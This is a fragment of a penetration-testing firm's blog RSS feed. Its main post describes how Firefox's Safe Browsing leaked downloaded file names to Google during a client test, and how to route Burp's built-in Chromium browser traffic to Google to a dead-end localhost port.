&lt;/section&gt;</description><category>Burp</category><category>Hackvertor</category><category>Multi-Factor Authentication</category><category>OWASP</category><category>Pentesting</category><category>Portswigger</category><category>Python</category><guid>https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/</guid><pubDate>Wed, 17 Mar 2021 08:00:00 GMT</pubDate></item><item><title>Block browser requests to Google during security analysis in Burp</title><link>https://www.pentagrid.ch/en/blog/block_browser_requests_to_google_during_security_analysis_in_burp/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;How to stop Portswigger's Burp Proxy's built-in Chromium browser to leak information to Google's Safe Browsing during a web application penetration test?&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;When doing web application security research and penetration tests for customers, we sometimes get insights into tools we use that seem weird and undesired. A while ago we were testing a financial website with confidential data with the Mozilla Firefox browser and Firefox was sending the following requests whenever we downloaded a PDF from the website:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY% HTTP/1.1
Host: sb-ssl.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 189
Connection: close

blob:https://www.example.org/6f75423b-3828-5e4b-8241-3e633c684041___________
Dblob:https://www.example.org/6f75423b-3828-5e4b-8241-3e633c684041___
txt_download_name_file_overview.pdf
[...]&lt;/pre&gt;
&lt;p&gt;As you can see, Firefox leaks the PDF file name we were downloading, the hostname of the website we were testing and some more binary data that could include a file hash. On one side we were happy that we found this privacy issue and could report it to our customer, because this browser behaviour affects normal users. On the other side we do not want our testing tools to behave like this. Safebrowsing can be disabled via the pentest browser's settings menu or by setting these values in &lt;code class="docutils literal"&gt;about:config&lt;/code&gt; and it must be done for every web application test browser in use:&lt;/p&gt;
&lt;pre class="literal-block"&gt;browser.safebrowsing.malware.enabled = false
browser.safebrowsing.phishing.enabled = false&lt;/pre&gt;
&lt;p&gt;In the meantime the &lt;a class="reference external" href="https://portswigger.net/burp"&gt;Portswigger Burp proxy&lt;/a&gt; we use regularly and write extensions for was updated to include &lt;a class="reference external" href="https://portswigger.net/burp/releases/professional-community-2020-7"&gt;a new feature: A builtin Chromium browser&lt;/a&gt;. We really appreciate the added usability and were happy to use this feature in a security analysis in a corporate Windows AD environment, where changing proxy settings was not allowed for the preinstalled browser. Fortunately because we asked our customer to install Burp with administrative privileges, the built-in Chromium browser of Burp could be used. However, we noticed that the preconfigured Chromium browser was again very verbose and contacted Google servers, especially during startup. As we would like to keep all information about our security analysis to our customers and ourselves, we avoid any third-party services wherever feasible. That's why we operate and use our own Burp Collaborator server, for example.&lt;/p&gt;
&lt;p&gt;It is possible to disable the Safe Browsing feature in the browser used to perform web application pentests. However, if it is necessary to switch the browser, these settings must be changed there as well and the approach does not really work for the the built-in Chromium browser, because its settings are reset on every start. The easiest solution is to control traffic in the Burp Proxy: We can abuse the Upstream-Proxy setting found in "User options - Connections" in Burp for this purpose. While the following approach will block the requests from reaching the Google servers, they will still show up in the history tab of Burp.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;Download &lt;a class="reference external" href="https://www.pentagrid.ch/files/code/google-blocking.json"&gt;google-blocking.json&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In Burp, go to "User options - Connection".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;On the left of the "Upstream Proxy Servers" headline, click the settings and chose "Load options".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Chose the file you just downloaded and press "OK". Then, the upstream proxy settings look like in the screenshot below.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;img alt="/images/202011_Burp_Settings_Google_Blocking.png" src="https://www.pentagrid.ch/images/202011_Burp_Settings_Google_Blocking.png"&gt;
&lt;p&gt;This configuration will redirect requests to most Google domains to TCP port 1337 on localhost, which is (hopefully) a dead end. It is possible to use the file as a Burp startup configuration, or even better, merge it with your existing startup configuration by editing the Burp settings JSON file manually. Then, your are able to use these Burp settings in new projects as well.&lt;/p&gt;
&lt;p&gt;A drawback of the approach is that your test browser cannot be used for Google searches afterwards and it may break functionality if the tested sites requires resources from Google of course. However, it is recommended to use separate browsers for regular work and for web application testing anyway, because they are configured for different purposes.&lt;/p&gt;</description><category>Burp</category><category>Chromium</category><category>Firefox</category><category>Google</category><category>Information Disclosure</category><category>OWASP</category><category>Pentesting</category><category>Portswigger</category><guid>https://www.pentagrid.ch/en/blog/block_browser_requests_to_google_during_security_analysis_in_burp/</guid><pubDate>Wed, 04 Nov 2020 09:00:00 GMT</pubDate></item></channel></rss>